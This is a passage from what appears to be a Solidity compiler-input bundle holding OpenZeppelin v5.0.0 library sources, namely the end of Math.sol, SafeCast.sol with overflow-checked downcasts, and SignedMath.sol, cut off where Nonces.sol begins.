given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n result += 64;\n }\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n result += 32;\n }\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n result += 16;\n }\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n result += 8;\n }\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n result += 4;\n }\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n result += 2;\n }\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256 of a positive value rounded towards zero.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 256, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (unsignedRoundsUp(rounding) && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Returns whether a provided rounding mode is considered rounding up for unsigned integers.\n */\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}\n"
},
"@openzeppelin/contracts/utils/math/SafeCast.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/SafeCast.sol)\n// This file was procedurally generated from scripts/generate/templates/SafeCast.js.\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow\n * checks.\n *\n * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can\n * easily result in undesired exploitation or bugs, since developers usually\n * assume that overflows raise errors. `SafeCast` restores this intuition by\n * reverting the transaction when such an operation overflows.\n *\n * Using this library instead of the unchecked operations eliminates an entire\n * class of bugs, so it's recommended to use it always.\n */\nlibrary SafeCast {\n /**\n * @dev Value doesn't fit in an uint of `bits` size.\n */\n error SafeCastOverflowedUintDowncast(uint8 bits, uint256 value);\n\n /**\n * @dev An int value doesn't fit in an uint of `bits` size.\n */\n error SafeCastOverflowedIntToUint(int256 value);\n\n /**\n * @dev Value doesn't fit in an int of `bits` size.\n */\n error SafeCastOverflowedIntDowncast(uint8 bits, int256 value);\n\n /**\n * @dev An uint value doesn't fit in an int of `bits` size.\n */\n error SafeCastOverflowedUintToInt(uint256 value);\n\n /**\n * @dev Returns the downcasted uint248 from uint256, reverting on\n * overflow (when the input is greater than largest uint248).\n *\n * Counterpart to Solidity's `uint248` operator.\n *\n * Requirements:\n *\n * - input must fit into 248 bits\n */\n function toUint248(uint256 value) internal pure returns (uint248) {\n if (value > type(uint248).max) {\n revert SafeCastOverflowedUintDowncast(248, value);\n }\n return uint248(value);\n }\n\n /**\n * @dev Returns the downcasted uint240 from uint256, reverting on\n * overflow (when the input is greater than largest uint240).\n *\n * Counterpart to Solidity's `uint240` operator.\n *\n * Requirements:\n *\n * - input must fit into 240 bits\n */\n function toUint240(uint256 value) internal pure returns (uint240) {\n if (value > type(uint240).max) {\n revert SafeCastOverflowedUintDowncast(240, value);\n }\n return uint240(value);\n }\n\n /**\n * @dev Returns the downcasted uint232 from uint256, reverting on\n * overflow (when the input is greater than largest uint232).\n *\n * Counterpart to Solidity's `uint232` operator.\n *\n * Requirements:\n *\n * - input must fit into 232 bits\n */\n function toUint232(uint256 value) internal pure returns (uint232) {\n if (value > type(uint232).max) {\n revert SafeCastOverflowedUintDowncast(232, value);\n }\n return uint232(value);\n }\n\n /**\n * @dev Returns the downcasted uint224 from uint256, reverting on\n * overflow (when the input is greater than largest uint224).\n *\n * Counterpart to Solidity's `uint224` operator.\n *\n * Requirements:\n *\n * - input must fit into 224 bits\n */\n function toUint224(uint256 value) internal pure returns (uint224) {\n if (value > type(uint224).max) {\n revert SafeCastOverflowedUintDowncast(224, value);\n }\n return uint224(value);\n }\n\n /**\n * @dev Returns the downcasted uint216 from uint256, reverting on\n * overflow (when the input is greater than largest uint216).\n *\n * Counterpart to Solidity's `uint216` operator.\n *\n * Requirements:\n *\n * - input must fit into 216 bits\n */\n function toUint216(uint256 value) internal pure returns (uint216) {\n if (value > type(uint216).max) {\n revert SafeCastOverflowedUintDowncast(216, value);\n }\n return uint216(value);\n }\n\n /**\n * @dev Returns the downcasted uint208 from uint256, reverting on\n * overflow (when the input is greater than largest uint208).\n *\n * Counterpart to Solidity's `uint208` operator.\n *\n * Requirements:\n *\n * - input must fit into 208 bits\n */\n function toUint208(uint256 value) internal pure returns (uint208) {\n if (value > type(uint208).max) {\n revert SafeCastOverflowedUintDowncast(208, value);\n }\n return uint208(value);\n }\n\n /**\n * @dev Returns the downcasted uint200 from uint256, reverting on\n * overflow (when the input is greater than largest uint200).\n *\n * Counterpart to Solidity's `uint200` operator.\n *\n * Requirements:\n *\n * - input must fit into 200 bits\n */\n function toUint200(uint256 value) internal pure returns (uint200) {\n if (value > type(uint200).max) {\n revert SafeCastOverflowedUintDowncast(200, value);\n }\n return uint200(value);\n }\n\n /**\n * @dev Returns the downcasted uint192 from uint256, reverting on\n * overflow (when the input is greater than largest uint192).\n *\n * Counterpart to Solidity's `uint192` operator.\n *\n * Requirements:\n *\n * - input must fit into 192 bits\n */\n function toUint192(uint256 value) internal pure returns (uint192) {\n if (value > type(uint192).max) {\n revert SafeCastOverflowedUintDowncast(192, value);\n }\n return uint192(value);\n }\n\n /**\n * @dev Returns the downcasted uint184 from uint256, reverting on\n * overflow (when the input is greater than largest uint184).\n *\n * Counterpart to Solidity's `uint184` operator.\n *\n * Requirements:\n *\n * - input must fit into 184 bits\n */\n function toUint184(uint256 value) internal pure returns (uint184) {\n if (value > type(uint184).max) {\n revert SafeCastOverflowedUintDowncast(184, value);\n }\n return uint184(value);\n }\n\n /**\n * @dev Returns the downcasted uint176 from uint256, reverting on\n * overflow (when the input is greater than largest uint176).\n *\n * Counterpart to Solidity's `uint176` operator.\n *\n * Requirements:\n *\n * - input must fit into 176 bits\n */\n function toUint176(uint256 value) internal pure returns (uint176) {\n if (value > type(uint176).max) {\n revert SafeCastOverflowedUintDowncast(176, value);\n }\n return uint176(value);\n }\n\n /**\n * @dev Returns the downcasted uint168 from uint256, reverting on\n * overflow (when the input is greater than largest uint168).\n *\n * Counterpart to Solidity's `uint168` operator.\n *\n * Requirements:\n *\n * - input must fit into 168 bits\n */\n function toUint168(uint256 value) internal pure returns (uint168) {\n if (value > type(uint168).max) {\n revert SafeCastOverflowedUintDowncast(168, value);\n }\n return uint168(value);\n }\n\n /**\n * @dev Returns the downcasted uint160 from uint256, reverting on\n * overflow (when the input is greater than largest uint160).\n *\n * Counterpart to Solidity's `uint160` operator.\n *\n * Requirements:\n *\n * - input must fit into 160 bits\n */\n function toUint160(uint256 value) internal pure returns (uint160) {\n if (value > type(uint160).max) {\n revert SafeCastOverflowedUintDowncast(160, value);\n }\n return uint160(value);\n }\n\n /**\n * @dev Returns the downcasted uint152 from uint256, reverting on\n * overflow (when the input is greater than largest uint152).\n *\n * Counterpart to Solidity's `uint152` operator.\n *\n * Requirements:\n *\n * - input must fit into 152 bits\n */\n function toUint152(uint256 value) internal pure returns (uint152) {\n if (value > type(uint152).max) {\n revert SafeCastOverflowedUintDowncast(152, value);\n }\n return uint152(value);\n }\n\n /**\n * @dev Returns the downcasted uint144 from uint256, reverting on\n * overflow (when the input is greater than largest uint144).\n *\n * Counterpart to Solidity's `uint144` operator.\n *\n * Requirements:\n *\n * - input must fit into 144 bits\n */\n function toUint144(uint256 value) internal pure returns (uint144) {\n if (value > type(uint144).max) {\n revert SafeCastOverflowedUintDowncast(144, value);\n }\n return uint144(value);\n }\n\n /**\n * @dev Returns the downcasted uint136 from uint256, reverting on\n * overflow (when the input is greater than largest uint136).\n *\n * Counterpart to Solidity's `uint136` operator.\n *\n * Requirements:\n *\n * - input must fit into 136 bits\n */\n function toUint136(uint256 value) internal pure returns (uint136) {\n if (value > type(uint136).max) {\n revert SafeCastOverflowedUintDowncast(136, value);\n }\n return uint136(value);\n }\n\n /**\n * @dev Returns the downcasted uint128 from uint256, reverting on\n * overflow (when the input is greater than largest uint128).\n *\n * Counterpart to Solidity's `uint128` operator.\n *\n * Requirements:\n *\n * - input must fit into 128 bits\n */\n function toUint128(uint256 value) internal pure returns (uint128) {\n if (value > type(uint128).max) {\n revert SafeCastOverflowedUintDowncast(128, value);\n }\n return uint128(value);\n }\n\n /**\n * @dev Returns the downcasted uint120 from uint256, reverting on\n * overflow (when the input is greater than largest uint120).\n *\n * Counterpart to Solidity's `uint120` operator.\n *\n * Requirements:\n *\n * - input must fit into 120 bits\n */\n function toUint120(uint256 value) internal pure returns (uint120) {\n if (value > type(uint120).max) {\n revert SafeCastOverflowedUintDowncast(120, value);\n }\n return uint120(value);\n }\n\n /**\n * @dev Returns the downcasted uint112 from uint256, reverting on\n * overflow (when the input is greater than largest uint112).\n *\n * Counterpart to Solidity's `uint112` operator.\n *\n * Requirements:\n *\n * - input must fit into 112 bits\n */\n function toUint112(uint256 value) internal pure returns (uint112) {\n if (value > type(uint112).max) {\n revert SafeCastOverflowedUintDowncast(112, value);\n }\n return uint112(value);\n }\n\n /**\n * @dev Returns the downcasted uint104 from uint256, reverting on\n * overflow (when the input is greater than largest uint104).\n *\n * Counterpart to Solidity's `uint104` operator.\n *\n * Requirements:\n *\n * - input must fit into 104 bits\n */\n function toUint104(uint256 value) internal pure returns (uint104) {\n if (value > type(uint104).max) {\n revert SafeCastOverflowedUintDowncast(104, value);\n }\n return uint104(value);\n }\n\n /**\n * @dev Returns the downcasted uint96 from uint256, reverting on\n * overflow (when the input is greater than largest uint96).\n *\n * Counterpart to Solidity's `uint96` operator.\n *\n * Requirements:\n *\n * - input must fit into 96 bits\n */\n function toUint96(uint256 value) internal pure returns (uint96) {\n if (value > type(uint96).max) {\n revert SafeCastOverflowedUintDowncast(96, value);\n }\n return uint96(value);\n }\n\n /**\n * @dev Returns the downcasted uint88 from uint256, reverting on\n * overflow (when the input is greater than largest uint88).\n *\n * Counterpart to Solidity's `uint88` operator.\n *\n * Requirements:\n *\n * - input must fit into 88 bits\n */\n function toUint88(uint256 value) internal pure returns (uint88) {\n if (value > type(uint88).max) {\n revert SafeCastOverflowedUintDowncast(88, value);\n }\n return uint88(value);\n }\n\n /**\n * @dev Returns the downcasted uint80 from uint256, reverting on\n * overflow (when the input is greater than largest uint80).\n *\n * Counterpart to Solidity's `uint80` operator.\n *\n * Requirements:\n *\n * - input must fit into 80 bits\n */\n function toUint80(uint256 value) internal pure returns (uint80) {\n if (value > type(uint80).max) {\n revert SafeCastOverflowedUintDowncast(80, value);\n }\n return uint80(value);\n }\n\n /**\n * @dev Returns the downcasted uint72 from uint256, reverting on\n * overflow (when the input is greater than largest uint72).\n *\n * Counterpart to Solidity's `uint72` operator.\n *\n * Requirements:\n *\n * - input must fit into 72 bits\n */\n function toUint72(uint256 value) internal pure returns (uint72) {\n if (value > type(uint72).max) {\n revert SafeCastOverflowedUintDowncast(72, value);\n }\n return uint72(value);\n }\n\n /**\n * @dev Returns the downcasted uint64 from uint256, reverting on\n * overflow (when the input is greater than largest uint64).\n *\n * Counterpart to Solidity's `uint64` operator.\n *\n * Requirements:\n *\n * - input must fit into 64 bits\n */\n function toUint64(uint256 value) internal pure returns (uint64) {\n if (value > type(uint64).max) {\n revert SafeCastOverflowedUintDowncast(64, value);\n }\n return uint64(value);\n }\n\n /**\n * @dev Returns the downcasted uint56 from uint256, reverting on\n * overflow (when the input is greater than largest uint56).\n *\n * Counterpart to Solidity's `uint56` operator.\n *\n * Requirements:\n *\n * - input must fit into 56 bits\n */\n function toUint56(uint256 value) internal pure returns (uint56) {\n if (value > type(uint56).max) {\n revert SafeCastOverflowedUintDowncast(56, value);\n }\n return uint56(value);\n }\n\n /**\n * @dev Returns the downcasted uint48 from uint256, reverting on\n * overflow (when the input is greater than largest uint48).\n *\n * Counterpart to Solidity's `uint48` operator.\n *\n * Requirements:\n *\n * - input must fit into 48 bits\n */\n function toUint48(uint256 value) internal pure returns (uint48) {\n if (value > type(uint48).max) {\n revert SafeCastOverflowedUintDowncast(48, value);\n }\n return uint48(value);\n }\n\n /**\n * @dev Returns the downcasted uint40 from uint256, reverting on\n * overflow (when the input is greater than largest uint40).\n *\n * Counterpart to Solidity's `uint40` operator.\n *\n * Requirements:\n *\n * - input must fit into 40 bits\n */\n function toUint40(uint256 value) internal pure returns (uint40) {\n if (value > type(uint40).max) {\n revert SafeCastOverflowedUintDowncast(40, value);\n }\n return uint40(value);\n }\n\n /**\n * @dev Returns the downcasted uint32 from uint256, reverting on\n * overflow (when the input is greater than largest uint32).\n *\n * Counterpart to Solidity's `uint32` operator.\n *\n * Requirements:\n *\n * - input must fit into 32 bits\n */\n function toUint32(uint256 value) internal pure returns (uint32) {\n if (value > type(uint32).max) {\n revert SafeCastOverflowedUintDowncast(32, value);\n }\n return uint32(value);\n }\n\n /**\n * @dev Returns the downcasted uint24 from uint256, reverting on\n * overflow (when the input is greater than largest uint24).\n *\n * Counterpart to Solidity's `uint24` operator.\n *\n * Requirements:\n *\n * - input must fit into 24 bits\n */\n function toUint24(uint256 value) internal pure returns (uint24) {\n if (value > type(uint24).max) {\n revert SafeCastOverflowedUintDowncast(24, value);\n }\n return uint24(value);\n }\n\n /**\n * @dev Returns the downcasted uint16 from uint256, reverting on\n * overflow (when the input is greater than largest uint16).\n *\n * Counterpart to Solidity's `uint16` operator.\n *\n * Requirements:\n *\n * - input must fit into 16 bits\n */\n function toUint16(uint256 value) internal pure returns (uint16) {\n if (value > type(uint16).max) {\n revert SafeCastOverflowedUintDowncast(16, value);\n }\n return uint16(value);\n }\n\n /**\n * @dev Returns the downcasted uint8 from uint256, reverting on\n * overflow (when the input is greater than largest uint8).\n *\n * Counterpart to Solidity's `uint8` operator.\n *\n * Requirements:\n *\n * - input must fit into 8 bits\n */\n function toUint8(uint256 value) internal pure returns (uint8) {\n if (value > type(uint8).max) {\n revert SafeCastOverflowedUintDowncast(8, value);\n }\n return uint8(value);\n }\n\n /**\n * @dev Converts a signed int256 into an unsigned uint256.\n *\n * Requirements:\n *\n * - input must be greater than or equal to 0.\n */\n function toUint256(int256 value) internal pure returns (uint256) {\n if (value < 0) {\n revert SafeCastOverflowedIntToUint(value);\n }\n return uint256(value);\n }\n\n /**\n * @dev Returns the downcasted int248 from int256, reverting on\n * overflow (when the input is less than smallest int248 or\n * greater than largest int248).\n *\n * Counterpart to Solidity's `int248` operator.\n *\n * Requirements:\n *\n * - input must fit into 248 bits\n */\n function toInt248(int256 value) internal pure returns (int248 downcasted) {\n downcasted = int248(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(248, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int240 from int256, reverting on\n * overflow (when the input is less than smallest int240 or\n * greater than largest int240).\n *\n * Counterpart to Solidity's `int240` operator.\n *\n * Requirements:\n *\n * - input must fit into 240 bits\n */\n function toInt240(int256 value) internal pure returns (int240 downcasted) {\n downcasted = int240(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(240, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int232 from int256, reverting on\n * overflow (when the input is less than smallest int232 or\n * greater than largest int232).\n *\n * Counterpart to Solidity's `int232` operator.\n *\n * Requirements:\n *\n * - input must fit into 232 bits\n */\n function toInt232(int256 value) internal pure returns (int232 downcasted) {\n downcasted = int232(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(232, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int224 from int256, reverting on\n * overflow (when the input is less than smallest int224 or\n * greater than largest int224).\n *\n * Counterpart to Solidity's `int224` operator.\n *\n * Requirements:\n *\n * - input must fit into 224 bits\n */\n function toInt224(int256 value) internal pure returns (int224 downcasted) {\n downcasted = int224(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(224, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int216 from int256, reverting on\n * overflow (when the input is less than smallest int216 or\n * greater than largest int216).\n *\n * Counterpart to Solidity's `int216` operator.\n *\n * Requirements:\n *\n * - input must fit into 216 bits\n */\n function toInt216(int256 value) internal pure returns (int216 downcasted) {\n downcasted = int216(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(216, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int208 from int256, reverting on\n * overflow (when the input is less than smallest int208 or\n * greater than largest int208).\n *\n * Counterpart to Solidity's `int208` operator.\n *\n * Requirements:\n *\n * - input must fit into 208 bits\n */\n function toInt208(int256 value) internal pure returns (int208 downcasted) {\n downcasted = int208(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(208, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int200 from int256, reverting on\n * overflow (when the input is less than smallest int200 or\n * greater than largest int200).\n *\n * Counterpart to Solidity's `int200` operator.\n *\n * Requirements:\n *\n * - input must fit into 200 bits\n */\n function toInt200(int256 value) internal pure returns (int200 downcasted) {\n downcasted = int200(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(200, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int192 from int256, reverting on\n * overflow (when the input is less than smallest int192 or\n * greater than largest int192).\n *\n * Counterpart to Solidity's `int192` operator.\n *\n * Requirements:\n *\n * - input must fit into 192 bits\n */\n function toInt192(int256 value) internal pure returns (int192 downcasted) {\n downcasted = int192(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(192, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int184 from int256, reverting on\n * overflow (when the input is less than smallest int184 or\n * greater than largest int184).\n *\n * Counterpart to Solidity's `int184` operator.\n *\n * Requirements:\n *\n * - input must fit into 184 bits\n */\n function toInt184(int256 value) internal pure returns (int184 downcasted) {\n downcasted = int184(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(184, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int176 from int256, reverting on\n * overflow (when the input is less than smallest int176 or\n * greater than largest int176).\n *\n * Counterpart to Solidity's `int176` operator.\n *\n * Requirements:\n *\n * - input must fit into 176 bits\n */\n function toInt176(int256 value) internal pure returns (int176 downcasted) {\n downcasted = int176(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(176, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int168 from int256, reverting on\n * overflow (when the input is less than smallest int168 or\n * greater than largest int168).\n *\n * Counterpart to Solidity's `int168` operator.\n *\n * Requirements:\n *\n * - input must fit into 168 bits\n */\n function toInt168(int256 value) internal pure returns (int168 downcasted) {\n downcasted = int168(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(168, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int160 from int256, reverting on\n * overflow (when the input is less than smallest int160 or\n * greater than largest int160).\n *\n * Counterpart to Solidity's `int160` operator.\n *\n * Requirements:\n *\n * - input must fit into 160 bits\n */\n function toInt160(int256 value) internal pure returns (int160 downcasted) {\n downcasted = int160(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(160, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int152 from int256, reverting on\n * overflow (when the input is less than smallest int152 or\n * greater than largest int152).\n *\n * Counterpart to Solidity's `int152` operator.\n *\n * Requirements:\n *\n * - input must fit into 152 bits\n */\n function toInt152(int256 value) internal pure returns (int152 downcasted) {\n downcasted = int152(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(152, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int144 from int256, reverting on\n * overflow (when the input is less than smallest int144 or\n * greater than largest int144).\n *\n * Counterpart to Solidity's `int144` operator.\n *\n * Requirements:\n *\n * - input must fit into 144 bits\n */\n function toInt144(int256 value) internal pure returns (int144 downcasted) {\n downcasted = int144(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(144, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int136 from int256, reverting on\n * overflow (when the input is less than smallest int136 or\n * greater than largest int136).\n *\n * Counterpart to Solidity's `int136` operator.\n *\n * Requirements:\n *\n * - input must fit into 136 bits\n */\n function toInt136(int256 value) internal pure returns (int136 downcasted) {\n downcasted = int136(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(136, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int128 from int256, reverting on\n * overflow (when the input is less than smallest int128 or\n * greater than largest int128).\n *\n * Counterpart to Solidity's `int128` operator.\n *\n * Requirements:\n *\n * - input must fit into 128 bits\n */\n function toInt128(int256 value) internal pure returns (int128 downcasted) {\n downcasted = int128(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(128, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int120 from int256, reverting on\n * overflow (when the input is less than smallest int120 or\n * greater than largest int120).\n *\n * Counterpart to Solidity's `int120` operator.\n *\n * Requirements:\n *\n * - input must fit into 120 bits\n */\n function toInt120(int256 value) internal pure returns (int120 downcasted) {\n downcasted = int120(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(120, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int112 from int256, reverting on\n * overflow (when the input is less than smallest int112 or\n * greater than largest int112).\n *\n * Counterpart to Solidity's `int112` operator.\n *\n * Requirements:\n *\n * - input must fit into 112 bits\n */\n function toInt112(int256 value) internal pure returns (int112 downcasted) {\n downcasted = int112(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(112, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int104 from int256, reverting on\n * overflow (when the input is less than smallest int104 or\n * greater than largest int104).\n *\n * Counterpart to Solidity's `int104` operator.\n *\n * Requirements:\n *\n * - input must fit into 104 bits\n */\n function toInt104(int256 value) internal pure returns (int104 downcasted) {\n downcasted = int104(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(104, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int96 from int256, reverting on\n * overflow (when the input is less than smallest int96 or\n * greater than largest int96).\n *\n * Counterpart to Solidity's `int96` operator.\n *\n * Requirements:\n *\n * - input must fit into 96 bits\n */\n function toInt96(int256 value) internal pure returns (int96 downcasted) {\n downcasted = int96(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(96, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int88 from int256, reverting on\n * overflow (when the input is less than smallest int88 or\n * greater than largest int88).\n *\n * Counterpart to Solidity's `int88` operator.\n *\n * Requirements:\n *\n * - input must fit into 88 bits\n */\n function toInt88(int256 value) internal pure returns (int88 downcasted) {\n downcasted = int88(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(88, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int80 from int256, reverting on\n * overflow (when the input is less than smallest int80 or\n * greater than largest int80).\n *\n * Counterpart to Solidity's `int80` operator.\n *\n * Requirements:\n *\n * - input must fit into 80 bits\n */\n function toInt80(int256 value) internal pure returns (int80 downcasted) {\n downcasted = int80(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(80, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int72 from int256, reverting on\n * overflow (when the input is less than smallest int72 or\n * greater than largest int72).\n *\n * Counterpart to Solidity's `int72` operator.\n *\n * Requirements:\n *\n * - input must fit into 72 bits\n */\n function toInt72(int256 value) internal pure returns (int72 downcasted) {\n downcasted = int72(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(72, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int64 from int256, reverting on\n * overflow (when the input is less than smallest int64 or\n * greater than largest int64).\n *\n * Counterpart to Solidity's `int64` operator.\n *\n * Requirements:\n *\n * - input must fit into 64 bits\n */\n function toInt64(int256 value) internal pure returns (int64 downcasted) {\n downcasted = int64(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(64, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int56 from int256, reverting on\n * overflow (when the input is less than smallest int56 or\n * greater than largest int56).\n *\n * Counterpart to Solidity's `int56` operator.\n *\n * Requirements:\n *\n * - input must fit into 56 bits\n */\n function toInt56(int256 value) internal pure returns (int56 downcasted) {\n downcasted = int56(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(56, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int48 from int256, reverting on\n * overflow (when the input is less than smallest int48 or\n * greater than largest int48).\n *\n * Counterpart to Solidity's `int48` operator.\n *\n * Requirements:\n *\n * - input must fit into 48 bits\n */\n function toInt48(int256 value) internal pure returns (int48 downcasted) {\n downcasted = int48(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(48, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int40 from int256, reverting on\n * overflow (when the input is less than smallest int40 or\n * greater than largest int40).\n *\n * Counterpart to Solidity's `int40` operator.\n *\n * Requirements:\n *\n * - input must fit into 40 bits\n */\n function toInt40(int256 value) internal pure returns (int40 downcasted) {\n downcasted = int40(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(40, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int32 from int256, reverting on\n * overflow (when the input is less than smallest int32 or\n * greater than largest int32).\n *\n * Counterpart to Solidity's `int32` operator.\n *\n * Requirements:\n *\n * - input must fit into 32 bits\n */\n function toInt32(int256 value) internal pure returns (int32 downcasted) {\n downcasted = int32(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(32, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int24 from int256, reverting on\n * overflow (when the input is less than smallest int24 or\n * greater than largest int24).\n *\n * Counterpart to Solidity's `int24` operator.\n *\n * Requirements:\n *\n * - input must fit into 24 bits\n */\n function toInt24(int256 value) internal pure returns (int24 downcasted) {\n downcasted = int24(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(24, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int16 from int256, reverting on\n * overflow (when the input is less than smallest int16 or\n * greater than largest int16).\n *\n * Counterpart to Solidity's `int16` operator.\n *\n * Requirements:\n *\n * - input must fit into 16 bits\n */\n function toInt16(int256 value) internal pure returns (int16 downcasted) {\n downcasted = int16(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(16, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int8 from int256, reverting on\n * overflow (when the input is less than smallest int8 or\n * greater than largest int8).\n *\n * Counterpart to Solidity's `int8` operator.\n *\n * Requirements:\n *\n * - input must fit into 8 bits\n */\n function toInt8(int256 value) internal pure returns (int8 downcasted) {\n downcasted = int8(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(8, value);\n }\n }\n\n /**\n * @dev Converts an unsigned uint256 into a signed int256.\n *\n * Requirements:\n *\n * - input must be less than or equal to maxInt256.\n */\n function toInt256(uint256 value) internal pure returns (int256) {\n // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive\n if (value > uint256(type(int256).max)) {\n revert SafeCastOverflowedUintToInt(value);\n }\n return int256(value);\n }\n}\n"
},
"@openzeppelin/contracts/utils/math/SignedMath.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/SignedMath.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Standard signed math utilities missing in the Solidity language.\n */\nlibrary SignedMath {\n /**\n * @dev Returns the largest of two signed numbers.\n */\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two signed numbers.\n */\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two signed numbers without overflow.\n * The result is rounded towards zero.\n */\n function average(int256 a, int256 b) internal pure returns (int256) {\n // Formula from the book \"Hacker's Delight\"\n int256 x = (a & b) + ((a ^ b) >> 1);\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n /**\n * @dev Returns the absolute unsigned value of a signed value.\n */\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n // must be unchecked in order to support `n = type(int256).min`\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Nonces.sol": {
